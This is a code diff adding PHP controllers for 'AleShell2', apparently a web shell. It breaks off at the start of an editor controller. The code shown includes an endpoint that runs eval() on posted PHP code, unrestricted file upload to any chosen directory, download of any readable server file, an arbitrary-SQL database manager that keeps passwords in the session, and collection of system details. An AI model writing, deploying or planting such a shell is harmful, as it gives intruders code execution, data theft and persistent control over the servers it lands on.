if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$code = $request->post('code');
|
||||
|
||||
if (!$code) {
|
||||
$this->error($response, 'Code is required');
|
||||
return;
|
||||
}
|
||||
|
||||
// Capture output
|
||||
ob_start();
|
||||
|
||||
try {
|
||||
$result = eval($code);
|
||||
$output = ob_get_clean();
|
||||
|
||||
$this->success($response, [
|
||||
'result' => $result,
|
||||
'output' => $output,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
ob_end_clean();
|
||||
$this->error($response, 'Eval error: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* File upload API
|
||||
*/
|
||||
public function upload(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$destination = $request->post('destination');
|
||||
|
||||
if (!$destination) {
|
||||
$this->error($response, 'Destination path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!isset($_FILES['file'])) {
|
||||
$this->error($response, 'No file uploaded');
|
||||
return;
|
||||
}
|
||||
|
||||
$file = $_FILES['file'];
|
||||
|
||||
if ($file['error'] !== UPLOAD_ERR_OK) {
|
||||
$this->error($response, 'Upload error: ' . $this->getUploadErrorMessage($file['error']));
|
||||
return;
|
||||
}
|
||||
|
||||
$targetPath = rtrim($destination, '/') . '/' . basename($file['name']);
|
||||
|
||||
if (!is_dir($destination)) {
|
||||
$this->error($response, 'Destination directory does not exist');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_writable($destination)) {
|
||||
$this->error($response, 'Destination directory is not writable');
|
||||
return;
|
||||
}
|
||||
|
||||
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
|
||||
$this->success($response, [
|
||||
'message' => 'File uploaded successfully',
|
||||
'path' => $targetPath,
|
||||
'size' => $file['size'],
|
||||
]);
|
||||
} else {
|
||||
$this->error($response, 'Failed to move uploaded file');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Download file API
|
||||
*/
|
||||
public function download(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$path = $request->get('path');
|
||||
|
||||
if (!$path) {
|
||||
$this->error($response, 'Path is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!file_exists($path)) {
|
||||
$this->error($response, 'File not found');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_file($path)) {
|
||||
$this->error($response, 'Not a file');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_readable($path)) {
|
||||
$this->error($response, 'File not readable');
|
||||
return;
|
||||
}
|
||||
|
||||
$content = file_get_contents($path);
|
||||
$filename = basename($path);
|
||||
$contentType = mime_content_type($path) ?: 'application/octet-stream';
|
||||
|
||||
$response->download($content, $filename, $contentType);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get upload error message
|
||||
*/
|
||||
private function getUploadErrorMessage(int $error): string
|
||||
{
|
||||
return match($error) {
|
||||
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
|
||||
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
|
||||
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
|
||||
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
|
||||
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
|
||||
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
|
||||
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension',
|
||||
default => 'Unknown upload error',
|
||||
};
|
||||
}
|
||||
}
|
||||
82
src/Modules/Auth/AuthController.php
Archivo normal
82
src/Modules/Auth/AuthController.php
Archivo normal
@@ -0,0 +1,82 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Auth Controller
|
||||
*
|
||||
* Handles authentication routes.
|
||||
*
|
||||
* @package AleShell2\Modules\Auth
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Auth;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
use AleShell2\Core\View;
|
||||
|
||||
class AuthController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show login form or process login
|
||||
*/
|
||||
public function login(Request $request, Response $response, array $params): void
|
||||
{
|
||||
// If already authenticated, redirect to dashboard
|
||||
if ($this->auth->isAuthenticated()) {
|
||||
$response->redirect('/');
|
||||
return;
|
||||
}
|
||||
|
||||
$error = '';
|
||||
|
||||
// Process login form
|
||||
if ($request->isMethod('POST')) {
|
||||
$password = $request->post('password', '');
|
||||
|
||||
if (empty($password)) {
|
||||
$error = 'Password is required';
|
||||
} elseif ($this->auth->isRateLimited()) {
|
||||
$remaining = $this->auth->getRemainingLockoutTime();
|
||||
$error = "Too many failed attempts. Try again in {$remaining} seconds.";
|
||||
} elseif ($this->auth->attempt($password)) {
|
||||
$response->redirect('/');
|
||||
return;
|
||||
} else {
|
||||
$error = 'Invalid password';
|
||||
}
|
||||
}
|
||||
|
||||
// Render login page
|
||||
$html = View::render('auth.login', [
|
||||
'error' => $error,
|
||||
'version' => ALESHELL_VERSION,
|
||||
]);
|
||||
|
||||
$response->html($html);
|
||||
}
|
||||
|
||||
/**
|
||||
* Process logout
|
||||
*/
|
||||
public function logout(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->auth->logout();
|
||||
$response->redirect('/login');
|
||||
}
|
||||
|
||||
/**
|
||||
* Get authentication status (AJAX)
|
||||
*/
|
||||
public function status(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$response->json([
|
||||
'success' => true,
|
||||
'data' => [
|
||||
'authenticated' => $this->auth->isAuthenticated(),
|
||||
'csrf_token' => $this->auth->getCsrfToken(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
}
|
||||
230
src/Modules/BaseController.php
Archivo normal
230
src/Modules/BaseController.php
Archivo normal
@@ -0,0 +1,230 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Base Controller
|
||||
*
|
||||
* Base class for all module controllers.
|
||||
*
|
||||
* @package AleShell2\Modules
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules;
|
||||
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
use AleShell2\Core\View;
|
||||
use AleShell2\Security\Auth;
|
||||
|
||||
abstract class BaseController
|
||||
{
|
||||
protected array $config;
|
||||
protected Auth $auth;
|
||||
|
||||
public function __construct(array $config, Auth $auth)
|
||||
{
|
||||
$this->config = $config;
|
||||
$this->auth = $auth;
|
||||
}
|
||||
|
||||
/**
|
||||
* Render a view with layout
|
||||
*/
|
||||
protected function render(Response $response, string $view, array $data = []): void
|
||||
{
|
||||
$data['auth'] = $this->auth;
|
||||
$data['config'] = $this->config;
|
||||
$data['version'] = ALESHELL_VERSION;
|
||||
$data['csrfToken'] = $this->auth->getCsrfToken();
|
||||
|
||||
$html = View::renderWithLayout($view, 'layouts.main', $data);
|
||||
$response->html($html);
|
||||
}
|
||||
|
||||
/**
|
||||
* Render just a view without layout
|
||||
*/
|
||||
protected function renderPartial(Response $response, string $view, array $data = []): void
|
||||
{
|
||||
$data['auth'] = $this->auth;
|
||||
$data['config'] = $this->config;
|
||||
|
||||
$html = View::render($view, $data);
|
||||
$response->html($html);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send JSON success response
|
||||
*/
|
||||
protected function success(Response $response, mixed $data = null, string $message = 'Success'): void
|
||||
{
|
||||
$response->success($data, $message);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send JSON error response
|
||||
*/
|
||||
protected function error(Response $response, string $message, int $code = 400): void
|
||||
{
|
||||
$response->error($message, $code);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate CSRF token for state-changing requests
|
||||
*/
|
||||
protected function validateCsrf(Request $request, Response $response): bool
|
||||
{
|
||||
if (!($this->config['security']['csrf_protection'] ?? true)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$token = $request->header('X-CSRF-Token')
|
||||
?? $request->post('_token')
|
||||
?? $request->input('csrf_token');
|
||||
|
||||
if (!$token || !$this->auth->validateCsrfToken($token)) {
|
||||
$this->error($response, 'Invalid CSRF token', 403);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if path is allowed
|
||||
*/
|
||||
protected function isPathAllowed(string $path): bool
|
||||
{
|
||||
$restrictedPaths = $this->config['security']['restricted_paths'] ?? [];
|
||||
|
||||
if (empty($restrictedPaths)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$realPath = realpath($path);
|
||||
if ($realPath === false) {
|
||||
return true; // Allow non-existent paths for creation
|
||||
}
|
||||
|
||||
foreach ($restrictedPaths as $restricted) {
|
||||
if (strpos($realPath, $restricted) === 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if command is allowed
|
||||
*/
|
||||
protected function isCommandAllowed(string $command): bool
|
||||
{
|
||||
$blockedCommands = $this->config['security']['blocked_commands'] ?? [];
|
||||
|
||||
foreach ($blockedCommands as $blocked) {
|
||||
if (stripos($command, $blocked) !== false) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format bytes to human readable
|
||||
*/
|
||||
protected function formatBytes(int $bytes, int $precision = 2): string
|
||||
{
|
||||
return View::formatBytes($bytes, $precision);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get system info
|
||||
*/
|
||||
protected function getSystemInfo(): array
|
||||
{
|
||||
return [
|
||||
'hostname' => gethostname(),
|
||||
'os' => php_uname('s') . ' ' . php_uname('r'),
|
||||
'php_version' => PHP_VERSION,
|
||||
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
|
||||
'current_path' => getcwd(),
|
||||
'disk_free' => disk_free_space('.'),
|
||||
'disk_total' => disk_total_space('.'),
|
||||
'load_average' => function_exists('sys_getloadavg') ? sys_getloadavg() : null,
|
||||
'uptime' => $this->getUptime(),
|
||||
'memory' => $this->getMemoryInfo(),
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get server uptime
|
||||
*/
|
||||
protected function getUptime(): ?string
|
||||
{
|
||||
if (file_exists('/proc/uptime')) {
|
||||
$uptime = (float)file_get_contents('/proc/uptime');
|
||||
return $this->formatUptime($uptime);
|
||||
}
|
||||
|
||||
// Try 'uptime' command on Unix
|
||||
if (PHP_OS_FAMILY !== 'Windows') {
|
||||
$output = @shell_exec('uptime -p 2>/dev/null');
|
||||
if ($output) {
|
||||
return trim($output);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format uptime seconds to human readable
|
||||
*/
|
||||
protected function formatUptime(float $seconds): string
|
||||
{
|
||||
$days = floor($seconds / 86400);
|
||||
$hours = floor(($seconds % 86400) / 3600);
|
||||
$minutes = floor(($seconds % 3600) / 60);
|
||||
|
||||
$parts = [];
|
||||
if ($days > 0) $parts[] = "{$days}d";
|
||||
if ($hours > 0) $parts[] = "{$hours}h";
|
||||
if ($minutes > 0) $parts[] = "{$minutes}m";
|
||||
|
||||
return implode(' ', $parts) ?: '< 1m';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get memory info
|
||||
*/
|
||||
protected function getMemoryInfo(): array
|
||||
{
|
||||
$memory = [
|
||||
'total' => 0,
|
||||
'free' => 0,
|
||||
'used' => 0,
|
||||
'cached' => 0,
|
||||
'percent' => 0,
|
||||
];
|
||||
|
||||
if (file_exists('/proc/meminfo')) {
|
||||
$meminfo = file_get_contents('/proc/meminfo');
|
||||
preg_match_all('/^(\w+):\s+(\d+)\s+kB$/m', $meminfo, $matches);
|
||||
|
||||
$data = array_combine($matches[1], $matches[2]);
|
||||
|
||||
$memory['total'] = ($data['MemTotal'] ?? 0) * 1024;
|
||||
$memory['free'] = ($data['MemFree'] ?? 0) * 1024;
|
||||
$memory['cached'] = ($data['Cached'] ?? 0) * 1024;
|
||||
$memory['used'] = $memory['total'] - $memory['free'] - $memory['cached'];
|
||||
$memory['percent'] = $memory['total'] > 0
|
||||
? round(($memory['used'] / $memory['total']) * 100, 1)
|
||||
: 0;
|
||||
}
|
||||
|
||||
return $memory;
|
||||
}
|
||||
}
|
||||
90
src/Modules/Dashboard/DashboardController.php
Archivo normal
90
src/Modules/Dashboard/DashboardController.php
Archivo normal
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Dashboard Controller
|
||||
*
|
||||
* Handles dashboard module.
|
||||
*
|
||||
* @package AleShell2\Modules\Dashboard
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Dashboard;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class DashboardController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show dashboard
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
// If AJAX request, return JSON
|
||||
if ($request->isAjax()) {
|
||||
$this->success($response, $this->getDashboardData());
|
||||
return;
|
||||
}
|
||||
|
||||
// Render dashboard page
|
||||
$this->render($response, 'modules.dashboard', [
|
||||
'currentModule' => 'dashboard',
|
||||
'pageTitle' => 'Dashboard - AleShell2',
|
||||
'data' => $this->getDashboardData(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get dashboard data
|
||||
*/
|
||||
private function getDashboardData(): array
|
||||
{
|
||||
return [
|
||||
'system' => $this->getSystemInfo(),
|
||||
'user' => $this->getUserInfo(),
|
||||
'modules' => $this->getEnabledModules(),
|
||||
'features' => $this->config['features'] ?? [],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get user session info
|
||||
*/
|
||||
private function getUserInfo(): array
|
||||
{
|
||||
return [
|
||||
'ip' => $this->auth->getUserIP(),
|
||||
'login_time' => $this->auth->getLoginTime(),
|
||||
'last_activity' => $this->auth->getLastActivity(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get list of enabled modules
|
||||
*/
|
||||
private function getEnabledModules(): array
|
||||
{
|
||||
$features = $this->config['features'] ?? [];
|
||||
$modules = [];
|
||||
|
||||
$moduleInfo = [
|
||||
'file_manager' => ['name' => 'Files', 'icon' => '📁', 'path' => '/files'],
|
||||
'terminal' => ['name' => 'Terminal', 'icon' => '💻', 'path' => '/terminal'],
|
||||
'code_editor' => ['name' => 'Editor', 'icon' => '📝', 'path' => '/editor'],
|
||||
'process_manager' => ['name' => 'Processes', 'icon' => '⚙️', 'path' => '/processes'],
|
||||
'network_tools' => ['name' => 'Network', 'icon' => '🌐', 'path' => '/network'],
|
||||
'database_tools' => ['name' => 'Database', 'icon' => '🗄️', 'path' => '/database'],
|
||||
'system_info' => ['name' => 'System', 'icon' => '📊', 'path' => '/system'],
|
||||
];
|
||||
|
||||
foreach ($moduleInfo as $key => $info) {
|
||||
if ($features[$key] ?? true) {
|
||||
$modules[$key] = $info;
|
||||
}
|
||||
}
|
||||
|
||||
return $modules;
|
||||
}
|
||||
}
|
||||
472
src/Modules/Database/DatabaseController.php
Archivo normal
472
src/Modules/Database/DatabaseController.php
Archivo normal
@@ -0,0 +1,472 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Database Controller
|
||||
*
|
||||
* Handles database management module.
|
||||
*
|
||||
* @package AleShell2\Modules\Database
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Database;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class DatabaseController extends BaseController
|
||||
{
|
||||
private ?\PDO $connection = null;
|
||||
private ?string $driver = null;
|
||||
|
||||
/**
|
||||
* Show database module
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->render($response, 'modules.database', [
|
||||
'currentModule' => 'database',
|
||||
'pageTitle' => 'Database Manager - AleShell2',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect to database
|
||||
*/
|
||||
public function connect(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$driver = $request->post('driver', 'mysql');
|
||||
$host = $request->post('host', 'localhost');
|
||||
$port = (int)$request->post('port', 3306);
|
||||
$database = $request->post('database', '');
|
||||
$username = $request->post('username', '');
|
||||
$password = $request->post('password', '');
|
||||
|
||||
try {
|
||||
$connection = $this->createConnection($driver, $host, $port, $database, $username, $password);
|
||||
|
||||
// Store connection in session
|
||||
$_SESSION['db_connection'] = [
|
||||
'driver' => $driver,
|
||||
'host' => $host,
|
||||
'port' => $port,
|
||||
'database' => $database,
|
||||
'username' => $username,
|
||||
'password' => $password,
|
||||
];
|
||||
|
||||
// Get databases list
|
||||
$databases = $this->getDatabases($connection, $driver);
|
||||
|
||||
$this->success($response, [
|
||||
'message' => 'Connected successfully',
|
||||
'databases' => $databases,
|
||||
'current_database' => $database,
|
||||
]);
|
||||
} catch (\PDOException $e) {
|
||||
$this->error($response, 'Connection failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Disconnect from database
|
||||
*/
|
||||
public function disconnect(Request $request, Response $response, array $params): void
|
||||
{
|
||||
unset($_SESSION['db_connection']);
|
||||
$this->success($response, ['message' => 'Disconnected']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get tables in database
|
||||
*/
|
||||
public function tables(Request $request, Response $response, array $params): void
|
||||
{
|
||||
try {
|
||||
$connection = $this->getSessionConnection();
|
||||
|
||||
if (!$connection) {
|
||||
$this->error($response, 'Not connected to database');
|
||||
return;
|
||||
}
|
||||
|
||||
$database = $request->get('database', $_SESSION['db_connection']['database'] ?? '');
|
||||
|
||||
if ($database) {
|
||||
$connection->exec("USE " . $this->quoteIdentifier($database, $_SESSION['db_connection']['driver']));
|
||||
}
|
||||
|
||||
$tables = $this->getTablesList($connection, $_SESSION['db_connection']['driver']);
|
||||
|
||||
$this->success($response, ['tables' => $tables]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to get tables: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get table structure
|
||||
*/
|
||||
public function structure(Request $request, Response $response, array $params): void
|
||||
{
|
||||
try {
|
||||
$connection = $this->getSessionConnection();
|
||||
|
||||
if (!$connection) {
|
||||
$this->error($response, 'Not connected to database');
|
||||
return;
|
||||
}
|
||||
|
||||
$table = $request->get('table');
|
||||
|
||||
if (!$table) {
|
||||
$this->error($response, 'Table name is required');
|
||||
return;
|
||||
}
|
||||
|
||||
$structure = $this->getTableStructure($connection, $table, $_SESSION['db_connection']['driver']);
|
||||
|
||||
$this->success($response, ['structure' => $structure]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to get structure: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute query
|
||||
*/
|
||||
public function query(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$connection = $this->getSessionConnection();
|
||||
|
||||
if (!$connection) {
|
||||
$this->error($response, 'Not connected to database');
|
||||
return;
|
||||
}
|
||||
|
||||
$sql = $request->post('query');
|
||||
$limit = min((int)$request->post('limit', 100), 1000);
|
||||
|
||||
if (!$sql) {
|
||||
$this->error($response, 'Query is required');
|
||||
return;
|
||||
}
|
||||
|
||||
// Basic SQL injection prevention - disallow multiple statements
|
||||
$sql = trim($sql);
|
||||
|
||||
// Check if it's a SELECT query
|
||||
$isSelect = preg_match('/^\s*SELECT\s/i', $sql);
|
||||
|
||||
$startTime = microtime(true);
|
||||
$stmt = $connection->prepare($sql);
|
||||
$stmt->execute();
|
||||
$executionTime = round((microtime(true) - $startTime) * 1000, 2);
|
||||
|
||||
$result = [
|
||||
'execution_time' => $executionTime . ' ms',
|
||||
'affected_rows' => $stmt->rowCount(),
|
||||
];
|
||||
|
||||
if ($isSelect) {
|
||||
$rows = $stmt->fetchAll(\PDO::FETCH_ASSOC);
|
||||
$result['columns'] = $rows ? array_keys($rows[0]) : [];
|
||||
$result['rows'] = array_slice($rows, 0, $limit);
|
||||
$result['total_rows'] = count($rows);
|
||||
$result['limited'] = count($rows) > $limit;
|
||||
}
|
||||
|
||||
$this->success($response, $result);
|
||||
} catch (\PDOException $e) {
|
||||
$this->error($response, 'Query failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Select database
|
||||
*/
|
||||
public function selectDb(Request $request, Response $response, array $params): void
|
||||
{
|
||||
try {
|
||||
$connection = $this->getSessionConnection();
|
||||
|
||||
if (!$connection) {
|
||||
$this->error($response, 'Not connected to database');
|
||||
return;
|
||||
}
|
||||
|
||||
$database = $request->post('database');
|
||||
|
||||
if (!$database) {
|
||||
$this->error($response, 'Database name is required');
|
||||
return;
|
||||
}
|
||||
|
||||
$driver = $_SESSION['db_connection']['driver'];
|
||||
$connection->exec("USE " . $this->quoteIdentifier($database, $driver));
|
||||
|
||||
$_SESSION['db_connection']['database'] = $database;
|
||||
|
||||
$tables = $this->getTablesList($connection, $driver);
|
||||
|
||||
$this->success($response, [
|
||||
'message' => "Selected database: {$database}",
|
||||
'tables' => $tables,
|
||||
]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to select database: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Export table
|
||||
*/
|
||||
public function export(Request $request, Response $response, array $params): void
|
||||
{
|
||||
try {
|
||||
$connection = $this->getSessionConnection();
|
||||
|
||||
if (!$connection) {
|
||||
$this->error($response, 'Not connected to database');
|
||||
return;
|
||||
}
|
||||
|
||||
$table = $request->get('table');
|
||||
$format = $request->get('format', 'sql');
|
||||
|
||||
if (!$table) {
|
||||
$this->error($response, 'Table name is required');
|
||||
return;
|
||||
}
|
||||
|
||||
$driver = $_SESSION['db_connection']['driver'];
|
||||
|
||||
// Get table data
|
||||
$stmt = $connection->query("SELECT * FROM " . $this->quoteIdentifier($table, $driver));
|
||||
$rows = $stmt->fetchAll(\PDO::FETCH_ASSOC);
|
||||
|
||||
if ($format === 'csv') {
|
||||
$content = $this->exportToCsv($rows, $table);
|
||||
$filename = "{$table}.csv";
|
||||
$contentType = 'text/csv';
|
||||
} else {
|
||||
$content = $this->exportToSql($connection, $rows, $table, $driver);
|
||||
$filename = "{$table}.sql";
|
||||
$contentType = 'application/sql';
|
||||
}
|
||||
|
||||
$response->download($content, $filename, $contentType);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Export failed: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create PDO connection
|
||||
*/
|
||||
private function createConnection(string $driver, string $host, int $port, string $database, string $username, string $password): \PDO
|
||||
{
|
||||
$dsn = match($driver) {
|
||||
'mysql' => "mysql:host={$host};port={$port}" . ($database ? ";dbname={$database}" : '') . ";charset=utf8mb4",
|
||||
'pgsql' => "pgsql:host={$host};port={$port}" . ($database ? ";dbname={$database}" : ''),
|
||||
'sqlite' => "sqlite:{$database}",
|
||||
default => throw new \InvalidArgumentException("Unsupported driver: {$driver}"),
|
||||
};
|
||||
|
||||
$options = [
|
||||
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
|
||||
\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
|
||||
\PDO::ATTR_EMULATE_PREPARES => false,
|
||||
];
|
||||
|
||||
if ($driver === 'sqlite') {
|
||||
return new \PDO($dsn, null, null, $options);
|
||||
}
|
||||
|
||||
return new \PDO($dsn, $username, $password, $options);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get connection from session
|
||||
*/
|
||||
private function getSessionConnection(): ?\PDO
|
||||
{
|
||||
if (!isset($_SESSION['db_connection'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$conn = $_SESSION['db_connection'];
|
||||
|
||||
try {
|
||||
return $this->createConnection(
|
||||
$conn['driver'],
|
||||
$conn['host'],
|
||||
$conn['port'],
|
||||
$conn['database'],
|
||||
$conn['username'],
|
||||
$conn['password']
|
||||
);
|
||||
} catch (\Exception $e) {
|
||||
unset($_SESSION['db_connection']);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get databases list
|
||||
*/
|
||||
private function getDatabases(\PDO $connection, string $driver): array
|
||||
{
|
||||
$databases = [];
|
||||
|
||||
$query = match($driver) {
|
||||
'mysql' => "SHOW DATABASES",
|
||||
'pgsql' => "SELECT datname FROM pg_database WHERE datistemplate = false",
|
||||
'sqlite' => null,
|
||||
default => null,
|
||||
};
|
||||
|
||||
if ($query) {
|
||||
$stmt = $connection->query($query);
|
||||
while ($row = $stmt->fetch(\PDO::FETCH_NUM)) {
|
||||
$databases[] = $row[0];
|
||||
}
|
||||
}
|
||||
|
||||
return $databases;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get tables list
|
||||
*/
|
||||
private function getTablesList(\PDO $connection, string $driver): array
|
||||
{
|
||||
$tables = [];
|
||||
|
||||
$query = match($driver) {
|
||||
'mysql' => "SHOW TABLES",
|
||||
'pgsql' => "SELECT tablename FROM pg_tables WHERE schemaname = 'public'",
|
||||
'sqlite' => "SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'",
|
||||
default => null,
|
||||
};
|
||||
|
||||
if ($query) {
|
||||
$stmt = $connection->query($query);
|
||||
while ($row = $stmt->fetch(\PDO::FETCH_NUM)) {
|
||||
$tables[] = $row[0];
|
||||
}
|
||||
}
|
||||
|
||||
return $tables;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get table structure
|
||||
*/
|
||||
private function getTableStructure(\PDO $connection, string $table, string $driver): array
|
||||
{
|
||||
$structure = [];
|
||||
$quotedTable = $this->quoteIdentifier($table, $driver);
|
||||
|
||||
$query = match($driver) {
|
||||
'mysql' => "DESCRIBE {$quotedTable}",
|
||||
'pgsql' => "SELECT column_name, data_type, is_nullable, column_default FROM information_schema.columns WHERE table_name = '{$table}'",
|
||||
'sqlite' => "PRAGMA table_info({$quotedTable})",
|
||||
default => null,
|
||||
};
|
||||
|
||||
if ($query) {
|
||||
$stmt = $connection->query($query);
|
||||
$structure = $stmt->fetchAll(\PDO::FETCH_ASSOC);
|
||||
}
|
||||
|
||||
return $structure;
|
||||
}
|
||||
|
||||
/**
|
||||
* Quote identifier based on driver
|
||||
*/
|
||||
private function quoteIdentifier(string $identifier, string $driver): string
|
||||
{
|
||||
// Simple sanitization
|
||||
$identifier = preg_replace('/[^a-zA-Z0-9_]/', '', $identifier);
|
||||
|
||||
return match($driver) {
|
||||
'mysql' => "`{$identifier}`",
|
||||
'pgsql' => "\"{$identifier}\"",
|
||||
'sqlite' => "\"{$identifier}\"",
|
||||
default => $identifier,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Export to CSV
|
||||
*/
|
||||
private function exportToCsv(array $rows, string $table): string
|
||||
{
|
||||
if (empty($rows)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$output = fopen('php://temp', 'r+');
|
||||
|
||||
// Header
|
||||
fputcsv($output, array_keys($rows[0]));
|
||||
|
||||
// Data
|
||||
foreach ($rows as $row) {
|
||||
fputcsv($output, $row);
|
||||
}
|
||||
|
||||
rewind($output);
|
||||
$content = stream_get_contents($output);
|
||||
fclose($output);
|
||||
|
||||
return $content;
|
||||
}
|
||||
|
||||
/**
|
||||
* Export to SQL
|
||||
*/
|
||||
private function exportToSql(\PDO $connection, array $rows, string $table, string $driver): string
|
||||
{
|
||||
$output = "-- Export of table: {$table}\n";
|
||||
$output .= "-- Generated by AleShell2\n";
|
||||
$output .= "-- Date: " . date('Y-m-d H:i:s') . "\n\n";
|
||||
|
||||
if (empty($rows)) {
|
||||
return $output . "-- No data\n";
|
||||
}
|
||||
|
||||
$quotedTable = $this->quoteIdentifier($table, $driver);
|
||||
$columns = array_keys($rows[0]);
|
||||
$quotedColumns = array_map(fn($c) => $this->quoteIdentifier($c, $driver), $columns);
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$values = [];
|
||||
foreach ($row as $value) {
|
||||
if ($value === null) {
|
||||
$values[] = 'NULL';
|
||||
} elseif (is_numeric($value)) {
|
||||
$values[] = $value;
|
||||
} else {
|
||||
$values[] = $connection->quote($value);
|
||||
}
|
||||
}
|
||||
|
||||
$output .= "INSERT INTO {$quotedTable} (" . implode(', ', $quotedColumns) . ") VALUES (" . implode(', ', $values) . ");\n";
|
||||
}
|
||||
|
||||
return $output;
|
||||
}
|
||||
}
|
||||
87
src/Modules/Editor/EditorController.php
Archivo normal
87
src/Modules/Editor/EditorController.php
Archivo normal
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Editor Controller
|
||||
*
|
||||
* Handles code editor module.
|
||||
*
|
||||
* @package AleShell2\Modules\Editor
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Editor;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class EditorController extends BaseController
|
